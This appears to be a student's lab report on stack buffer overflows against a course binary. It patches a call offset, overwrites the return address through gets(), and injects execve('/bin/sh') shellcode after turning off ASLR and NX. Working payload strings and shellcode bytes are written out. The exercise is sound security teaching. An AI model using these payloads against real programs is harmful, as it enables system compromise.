20242404 2026-2027-1 《网络与系统攻防技术》实验一实验报告

20242404 2026-2027-1 《网络与系统攻防技术》实验一实验报告

1.基础知识

本次实验以 32 位 Linux 可执行文件 pwn20242404 为目标程序,通过三种递进的方式获取 shell,涉及以下基础知识:

  • 缓冲区溢出(Buffer Overflow):程序向固定长度的缓冲区写入超过其容量的数据时,多余数据会覆盖相邻内存区域。当缓冲区位于栈上时,溢出数据可依次覆盖保存的 EBP 与返回地址,从而劫持程序执行流。本实验中 foo 函数使用不检查长度的 gets() 读入字符串,仅预留了 0x1c(28)字节缓冲区,存在典型 BOF 漏洞。
  • IA-32 栈帧结构:函数调用时,call 指令将返回地址压栈,push ebp; mov ebp, esp 建立栈帧,sub esp, N 为局部变量分配空间,返回时通过 leave; ret 弹出返回地址并跳转。栈向低地址增长,栈帧从低地址到高地址依次为:局部变量区(缓冲区)、保存的 EBP、返回地址。
  • call 指令与 EIP 偏移计算:x86 的 call 指令为相对寻址,机器码格式为 e8 + 4 字节偏移(补码形式)。CPU 执行 call 时,EIP 已指向下一条指令地址,目标地址 = 下一条指令地址 + 偏移量。因此修改偏移量即可改变调用目标。
  • 小端字节序:x86 架构数据按小端存储,多字节数值低字节存放在低地址。故在构造攻击输入时,地址 0x0804847d 需逆序写为 \x7d\x84\x04\x08。
  • ELF 文件与反汇编:objdump -d 可对可执行文件反汇编,查看函数入口地址与机器码;readelf 可查看 ELF 节与程序头信息(如 GNU_STACK 段的栈权限标志)。
  • gdb 动态调试:用于在程序运行时查看寄存器、内存,计算缓冲区偏移,通过断点与 core dump 定位崩溃现场。
  • 系统防护机制:ASLR(地址空间布局随机化)使栈、堆、库基址随机变化;NX(堆栈不可执行)阻止栈上代码执行;Stack Canary 检测栈溢出;PIE 使程序基址随机化。本实验需关闭 ASLR 与 NX 才能注入并执行 shellcode。
  • shellcode 与 payload 构造:shellcode 是一段用于获取 shell(或执行任意命令)的机器指令。Linux 下常见两种 payload 布局:nop + shellcode + retaddr(NSR,shellcode 放缓冲区前部)与 anything + retaddr + nops + shellcode(RNS,shellcode 放返回地址后部)。

2.实验内容

  1. 任务一:直接修改机器指令,改变程序执行流程。通过反汇编定位 main 中调用 foo 的 call 指令,计算 getShell 地址对应的偏移补码,用十六进制编辑器修改可执行文件,使程序启动后直接调用 getShell。
  2. 任务二:利用 foo 函数的 BOF 漏洞构造攻击输入字符串,覆盖返回地址触发 getShell。通过 gdb 确定缓冲区溢出偏移,构造 填充 + getShell 地址(小端序) 的攻击输入,覆盖栈上返回地址,使程序跳转到 getShell。
  3. 任务三:注入自构造 shellcode 并运行。关闭 ASLR 与 NX 防护,构造包含 execve("/bin/sh") shellcode 的 payload,注入栈中并覆盖返回地址指向 shellcode,获得 shell。

3.实验过程

实验环境为 Kali Linux(64 位系统 + 32 位兼容库),目标程序 pwn20242404 为 32 位 ELF,编译时未开启栈保护。程序包含三个函数:getShell(调用 system("/bin/sh"),正常流程不会被调用)、foo(使用 gets 读入字符串,存在 BOF 漏洞)、main(调用 foo)。

3.1 任务一:直接修改程序机器指令跳转 getShell

步骤 1:备份原文件并赋予执行权限

为保护原始程序(任务二、三还需使用),先备份并确认执行权限:

cp ./pwn20242404 ./pwn20242404_ori
chmod +x ./pwn20242404

image1

步骤 2:反汇编,定位 call 指令与函数地址

objdump -d ./pwn20242404 | grep -A 30 main

反汇编结果中,main 函数的关键片段如下:

080484af <main>:
 80484af:       55                   push   %ebp
 80484b0:       89 e5                mov    %esp,%ebp
 80484b2:       83 e4 f0             and    $0xfffffff0,%esp
 80484b5:       e8 d7 ff ff ff       call   8048491 <foo>   ← 调用 foo 的 call 指令
 80484ba:       b8 00 00 00 00       mov    $0x0,%eax
 80484bf:       c9                   leave
 80484c0:       c3                   ret

同时通过 objdump -d ./pwn20242404 | grep getShell 获取后门函数入口地址:

0804847d <getShell>:

步骤 3:计算新的 call 偏移

call 8048491 <foo> 对应的机器码为 e8 d7 ff ff ff:e8 是 call 操作码,d7 ff ff ff 是 4 字节相对偏移(补码)。CPU 执行该指令时 EIP 已指向下一条指令地址 0x080484ba,因此:

  • 原目标 foo 地址 = 0x080484ba + 0xffffffd7 = 0x08048491,验证正确。
  • 目标 getShell 地址为 0x0804847d,新偏移 = 0x0804847d - 0x080484ba = 0xffffffc3。

因此只需将机器码 e8 d7 ff ff ff 修改为 e8 c3 ff ff ff。

步骤 4:用 vim + xxd 十六进制模式修改文件

cp ./pwn20242404 ./pwn20242404_task1
chmod +x ./pwn20242404_task1
vim ./pwn20242404_task1

在 vim 内按以下流程操作:

  1. 按 ESC 进入普通模式,输入 :%!xxd 回车,切换为十六进制显示模式;
  2. 输入 /d7ff 回车,定位到待修改的 d7 ff ff ff;
  3. 按 i 进入编辑模式,将 d7 ff ff ff 修改为 c3 ff ff ff(只改偏移,不动 e8 操作码);
  4. 按 ESC,输入 :%!xxd -r 回车,转回二进制格式;
  5. 输入 :wq 保存退出。

步骤 5:验证修改并运行

重新反汇编,确认 call 指令的目标已变为 getShell,然后运行修改后的程序:

image3

反汇编显示 80484b5: e8 c3 ff ff ff call 804847d <getShell>,修改成功。运行 ./pwn20242404_task1 后程序直接进入 shell,输入 whoami 返回 kali,任务一完成——未触碰任何输入,仅修改文件即劫持了执行流。

3.2 任务二:BOF 攻击,覆盖返回地址触发 getShell

步骤 1:检查程序防护机制

checksec --file=pwn1

image5

结果关键项:No canary found(无栈保护)、NX disabled(栈可执行)、No PIE(基址固定)、Partial RELRO。程序未开启栈保护,适合进行缓冲区溢出攻击。

步骤 2:反汇编了解程序结构,定位后门函数

objdump -d pwn1 | grep -E "main|win"
objdump -d pwn1 | grep "<"

image6

确认关键地址:main 入口 080484af,后门函数 getShell 入口 0804847d,漏洞函数 foo 入口 08048491。

步骤 3:反汇编 foo,确认缓冲区大小

用 gdb 反汇编 foo 函数:

gdb ./pwn1
(gdb) disass foo

image8

Dump of assembler code for function foo:
   0x08048491 <+0>:  push   %ebp
   0x08048492 <+1>:  mov    %esp,%ebp
   0x08048494 <+3>:  sub    $0x38,%esp
   0x08048497 <+6>:  lea    -0x1c(%ebp),%eax   ← 缓冲区位置 ebp-0x1c
   0x0804849a <+9>:  mov    %eax,(%esp)
   0x0804849d <+12>: call   0x8048330 <gets@plt>  ← gets 不检查长度,漏洞所在
   0x080484a2 <+17>: lea    -0x1c(%ebp),%eax
   0x080484a5 <+20>: mov    %eax,(%esp)
   0x080484a8 <+23>: call   0x8048340 <puts@plt>
   0x080484ad <+28>: leave
   0x080484ae <+29>: ret
End of assembler dump.

lea -0x1c(%ebp),%eax 表明缓冲区从 ebp-0x1c 开始,大小为 0x1c = 28 字节。

步骤 4:gdb 动态调试,确定覆盖返回地址的偏移

输入超过 28 字节的测试字符串,观察 EIP 的变化:

(gdb) r
1111111122222222333333334444444412345678
Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ()     ← eip = 0x34333231 = "1234" 的逆序(小端)

分析得出栈上布局为:[28 字节缓冲区][4 字节保存的 EBP][4 字节返回地址],输入字符串的第 29~32 个字符覆盖保存的 EBP,第 33~36 个字符覆盖返回地址,即填充 32 字节后,紧接着的 4 字节即为返回地址。

由于 x86 小端序,getShell 地址 0x0804847d 需逆序写入为 \x7d\x84\x04\x08。

步骤 5:构造攻击输入字符串

键盘无法直接输入十六进制字节,使用 perl 生成输入文件:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > input

image10

步骤 6:注入输入,触发 getShell

(cat input; cat) | ./pwn20242404

image11

输入流通过管道作为程序输入,溢出覆盖返回地址后程序跳转到 getShell,成功获取 shell。任务二完成——通过纯输入数据劫持执行流,未修改程序文件。

3.3 任务三:注入 shellcode 并执行

步骤 1:环境准备(关闭防护机制)

注入 shellcode 需要满足:堆栈可执行(关闭 NX)、地址固定(关闭 ASLR)、32 位环境、Linux 环境。后两项已满足,关闭前两项:

  1. 关闭地址随机化(ASLR)。先查看当前级别:

    cat /proc/sys/kernel/randomize_va_space
    # 返回 2 表示完全开启,需写 0 关闭(普通用户需 sudo 提权写入)
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
    
  2. 设置堆栈可执行(关闭 NX)。新版 Kali 软件源已移除 execstack/prelink 包,改用 pwntools 修改 ELF 文件头中 GNU_STACK 段的权限标志(PF_R+PF_W+PF_X = 7):

    from pwn import *
    elf = ELF("./pwn20242404")
    for seg in elf.segments:
        if seg.header.p_type == 'PT_GNU_STACK':
            seg.header.p_flags = 7   # RWX,关闭 NX
            break
    elf.save("./pwn20242404_nxoff")
    

    再次用 checksec 确认 NX disabled。

步骤 2:允许生成 core dump 文件

后续需要用 gdb 分析崩溃现场,先放开 core 文件限制:

ulimit -c unlimited

image12

步骤 3:构造 shellcode payload(第一次尝试失败)

采用 nop + 返回地址占位 + shellcode 结构构造输入文件:

perl -e 'print "\x90"x32 . "AAAA" . "\x83\xec\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > input

image13

运行时报错:

(cat input; cat) | ./pwn20242404
zsh: broken pipe
zsh: segmentation fault (core dumped)

image14

步骤 4:用 gdb 分析 core dump 定位问题

gdb ./pwn20242404 $(ls -t core.* | head -1) -batch \
    -ex "info registers eip esp" -ex "x/40bx $esp-64"
xxd input | head -3

image15

分析结果:

  • eip = 0x41414141:返回地址被 AAAA 覆盖,说明 32 字节偏移正确,崩溃是占位地址 0x41414141 为非法地址所致;
  • xxd 确认 payload 文件结构正确(32 字节 \x90 + AAAA + shellcode);
  • 失败根本原因:ASLR 未完全关闭时栈地址随机变化,且返回地址只是占位符,跳转必然失败。

步骤 5:确认偏移并重新计算 shellcode 地址

先关闭 ASLR 后,用测试 payload 重新运行生成新的 core dump:

perl -e 'print "A"x32 . "BBBB"' > test_input
ulimit -c unlimited
./pwn20242404 < test_input
gdb ./pwn20242404 $(ls -t core.* | head -1) -batch -ex "info registers esp eip"

image16

结果:eip = 0x42424242(BBBB 覆盖返回地址),esp = 0xffffcf40。

ret 指令执行时会将栈顶返回地址弹出到 EIP 并令 esp += 4,因此崩溃时 esp 指向返回地址的下一个字节,即 payload 中 shellcode 的起始位置。shellcode 地址 = 0xffffcf40。

步骤 6:构造最终 payload(RNS 模式)并执行

采用 anything(填充) + retaddr + shellcode 结构:32 字节填充覆盖缓冲区与 EBP,返回地址指向 shellcode 起始位置,shellcode 紧跟在返回地址之后(位于更高地址的栈上,避免执行时 push 操作覆盖自身指令):

perl -e 'print "A"x32 . "\x40\xcf\xff\xff" . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > input
(cat input; cat) | ./pwn20242404
whoami

image17

程序跳转到栈上执行 25 字节的 execve("/bin/sh") shellcode,成功启动交互式 shell,whoami 返回 kali,任务三完成。

说明:运行输出中出现的乱码字符(如 Ph//shh/bin),是程序把栈上 NOP 指令与 shellcode 的二进制字节当作 ASCII 打印的结果,属于 foo 函数原有 puts 回显逻辑,不影响 shell 功能。

4.问题及解决方案

  • 问题1:shellcode 注入运行时出现 zsh: broken pipe 和 zsh: segmentation fault (core dumped),无法获得 shell。

    • 问题1解决方案:段错误是程序触发非法内存访问后崩溃退出,管道读端关闭导致写端报 broken pipe,属于次生现象。根本原因是 ASLR 开启使栈地址每次运行都随机变化,且 payload 中返回地址还是占位符 AAAA,跳转到非法地址必然崩溃。解决方法是先完全关闭 ASLR(echo 0 > /proc/sys/kernel/randomize_va_space),再用测试 payload 重新生成 core dump,从 gdb 中读取 esp 得到 shellcode 的真实固定地址,最后重新构造 payload 注入,成功获取 shell。
  • 问题2:修改 /proc/sys/kernel/randomize_va_space 时提示 permission denied。

    • 问题2解决方案:该内核参数文件只有 root 可写,普通用户用 echo 0 > 重定向无写入权限。改用 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 提权写入,并用 cat 验证返回值确为 0。
  • 问题3:执行 execstack -s 时提示 execstack: command not found,apt install execstack 也报 Unable to locate package。

    • 问题3解决方案:新版 Kali(基于 Debian Testing)已从软件源移除 execstack/prelink 包,该工具已停止维护。改用 pwntools 的 ELF 模块遍历程序段,将 GNU_STACK 段的权限标志修改为 7(RWX),达到与 execstack -s 相同的关闭 NX 效果,并用 checksec 验证 NX disabled。
  • 问题4:gdb/core dump 中计算出的栈地址与直接运行时的地址不一致,导致跳转失败。

    • 问题4解决方案:ASLR 开启时栈地址随机,core dump 记录的地址仅对当次运行有效。必须先关闭 ASLR 使地址固定,再基于新的 core dump 重新计算 esp(即 shellcode 地址),且 x86 小端序下地址需逆序写入 payload。此外,返回地址填 NOP 滑床区域内的地址可提高容错率。

5.学习感悟、思考等

本次实验通过三种递进的方式获取 shell,让我对逆向工程与缓冲区溢出攻击有了从理论到实践的完整认识。

任务一让我直观理解了可执行文件与机器指令的关系。call 指令的相对寻址机制(EIP + 偏移补码)让"修改一个字节就能改变程序走向"成为可能,也让我意识到二进制文件并非不可触碰的"黑盒"——结合反汇编与十六进制编辑器,可以精确控制程序的执行流程。这不仅是攻击手段,也是逆向分析的基础功。

任务二让我真正掌握了缓冲区溢出的核心:栈帧布局、偏移计算、小端字节序。通过 gdb 调试观察 EIP 被输入字符逐步覆盖的过程,"缓冲区溢出覆盖返回地址"从课本概念变成了亲手复现的事实。构造输入时 \x7d\x84\x04\x08 逆序写入的细节,让我对小端存储有了深刻记忆。

任务三是最有挑战性的一步。从第一次注入的段错误,到定位是 ASLR 未关闭、地址随机化所致,再到关闭防护后重新计算地址、调整 payload 结构最终成功,整个过程让我体会到:攻击的成败往往取决于对系统防护机制的理解。指导书中 nop + shellcode + retaddr(NSR)与 anything + retaddr + nops + shellcode(RNS)两种布局的差异——shellcode 放在返回地址前后直接影响栈操作是否覆盖自身指令——更是让我理解了栈执行时 esp 变化对代码完整性的影响。

实验中反复出现的问题(ASLR、NX、权限、工具缺失)让我认识到,真实的攻防环境远比课本复杂:系统防护机制、环境差异、工具可用性都会成为变数。这也提醒我,防御端必须从多维度(ASLR、NX、Canary、PIE 等)构建纵深防御,任何单一防护被绕过都可能导致系统被攻陷。本次实验为后续学习 ROP、堆溢出等更高级的利用技术打下了坚实基础。

参考资料

posted @ 2026-10-11 12:11  llgxx  阅读(12)  评论(0)    收藏  举报